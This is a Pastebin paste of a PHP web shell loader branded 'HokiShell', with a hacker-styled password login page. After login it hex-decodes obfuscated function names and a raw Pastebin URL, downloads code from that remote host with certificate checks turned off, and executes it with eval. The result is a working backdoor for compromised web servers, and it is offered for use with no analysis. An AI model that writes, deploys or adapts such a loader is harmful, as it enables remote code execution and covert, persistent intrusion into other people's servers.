Advertisement
b3gund4L

Untitled

Apr 20th, 2025
445
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.53 KB | None | 0 0
  1. <?php
  2. function is_logged_in()
  3. {
  4.     return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'admin@h4x0rqt';
  5. }
  6.  
  7. if (is_logged_in()) {
  8.     $Array = array(
  9.         '666f70656e',
  10.         '73747265616d5f6765745f636f6e74656e7473',
  11.         '66696c655f6765745f636f6e74656e7473',
  12.         '6375726c5f65786563'
  13.     );
  14.  
  15.     function hex2str($hex) {
  16.         $str = '';
  17.         for ($i = 0; $i < strlen($hex); $i += 2) {
  18.             $str .= chr(hexdec(substr($hex, $i, 2)));
  19.         }
  20.         return $str;
  21.     }
  22.  
  23.     function geturlsinfo($destiny) {
  24.         $belief = array(
  25.             hex2str($GLOBALS['Array'][0]),
  26.             hex2str($GLOBALS['Array'][1]),
  27.             hex2str($GLOBALS['Array'][2]),
  28.             hex2str($GLOBALS['Array'][3])  
  29.         );
  30.  
  31.         if (function_exists($belief[3])) {
  32.             $ch = curl_init($destiny);
  33.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  34.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  35.             curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  36.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  37.             curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  38.             $love = $belief[3]($ch);
  39.             curl_close($ch);
  40.             return $love;
  41.         } elseif (function_exists($belief[2])) {
  42.             return $belief[2]($destiny);
  43.         } elseif (function_exists($belief[0]) && function_exists($belief[1])) {
  44.             $purpose = $belief[0]($destiny, "r");
  45.             $love = $belief[1]($purpose);
  46.             fclose($purpose);
  47.             return $love;
  48.         }
  49.         return false;
  50.     }
  51.  
  52.     $proto = hex2str('68747470733a2f2f');
  53.     $host  = hex2str('706173746562696e2e636f6d');
  54.     $path  = hex2str('7261772f365337706d504a76');
  55.     $destiny = $proto . $host . '/' . $path;
  56.  
  57.     $dream = geturlsinfo($destiny);
  58.     if ($dream !== false) {
  59.         eval('?>' . $dream);
  60.     }
  61. } else {
  62.     if (isset($_POST['password'])) {
  63.         $entered_key = $_POST['password'];
  64.         $hashed_key = '$2y$10$qaYnK74P/.J4xRdIF3AkruR/7ubAcV51dfYO9IyYwACnobKkrWtoa';
  65.         if (password_verify($entered_key, $hashed_key)) {
  66.             setcookie('user_id', 'admin@h4x0rqt', time() + 3600, '/');
  67.             header("Location: ".$_SERVER['PHP_SELF']);
  68.             exit();
  69.         }
  70.     }
  71. ?>
  72. <!DOCTYPE html>
  73. <html>
  74. <head>
  75.     <title>HokiShell Access</title>
  76.     <style>
  77.         body {
  78.             margin: 0;
  79.             padding: 0;
  80.             height: 100vh;
  81.             width: 100vw;
  82.             background: #000;
  83.             color: #00ff00;
  84.             font-family: 'Courier New', monospace;
  85.             overflow: hidden;
  86.             display: flex;
  87.             align-items: center;
  88.             justify-content: center;
  89.             flex-direction: column;
  90.         }
  91.         .ascii-art {
  92.             white-space: pre;
  93.             font-size: 12px;
  94.             line-height: 1.2;
  95.             margin-bottom: 20px;
  96.             text-align: center;
  97.         }
  98.         .login-container {
  99.             text-align: center;
  100.             width: 300px;
  101.         }
  102.         .login-container form {
  103.             display: flex;
  104.             flex-direction: column;
  105.         }
  106.         .login-container input {
  107.             background: #111;
  108.             color: #0f0;
  109.             border: 1px solid #0f0;
  110.             padding: 10px;
  111.             margin-top: 10px;
  112.         }
  113.         .login-container input[type="submit"] {
  114.             background: #0f0;
  115.             color: #000;
  116.             font-weight: bold;
  117.             cursor: pointer;
  118.         }
  119.         #typed-text {
  120.             font-size: 16px;
  121.             text-align: left;
  122.             white-space: pre-wrap;
  123.             height: 100px;
  124.         }
  125.     </style>
  126. </head>
  127. <body>
  128.     <div class="ascii-art" id="ascii">
  129. ██████╗ ██████╗ ██╗██╗   ██╗ █████╗
  130. ██╔══██╗██╔══██╗██║██║   ██║██╔══██╗
  131. ██████╔╝██████╔╝██║██║   ██║╚█████╔╝
  132. ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██╗
  133. ██║     ██║  ██║██║ ╚████╔╝ ╚█████╔╝
  134. ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚════╝
  135.  
  136.  
  137. H o k i S h e l l
  138.     </div>
  139.     <div id="typed-text"></div>
  140.     <div class="login-container" style="display:none;" id="form-box">
  141.         <form method="POST" action="">
  142.             <label for="password"></label>
  143.             <input type="password" id="password" name="password" required autofocus>
  144.             <input type="submit" value="Access">
  145.         </form>
  146.     </div>
  147.     <audio id="beep" src="https://www.soundjay.com/buttons/button-11.wav" preload="auto"></audio>
  148.     <script>
  149.         const text = "Initializing secure HokiShell environment...";
  150.         let i = 0;
  151.         const speed = 50;
  152.         const el = document.getElementById("typed-text");
  153.         const beep = document.getElementById("beep");
  154.  
  155.         function type() {
  156.             if (i < text.length) {
  157.                 el.textContent += text.charAt(i);
  158.                 if (text.charAt(i) !== ' ' && text.charAt(i) !== 'n') beep.play();
  159.                 i++;
  160.                 setTimeout(type, speed);
  161.             } else {
  162.                 document.getElementById("form-box").style.display = "block";
  163.             }
  164.         }
  165.         type();
  166.     </script>
  167. </body>
  168. </html>
  169. <?php
  170. }
  171. ?>
  172.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement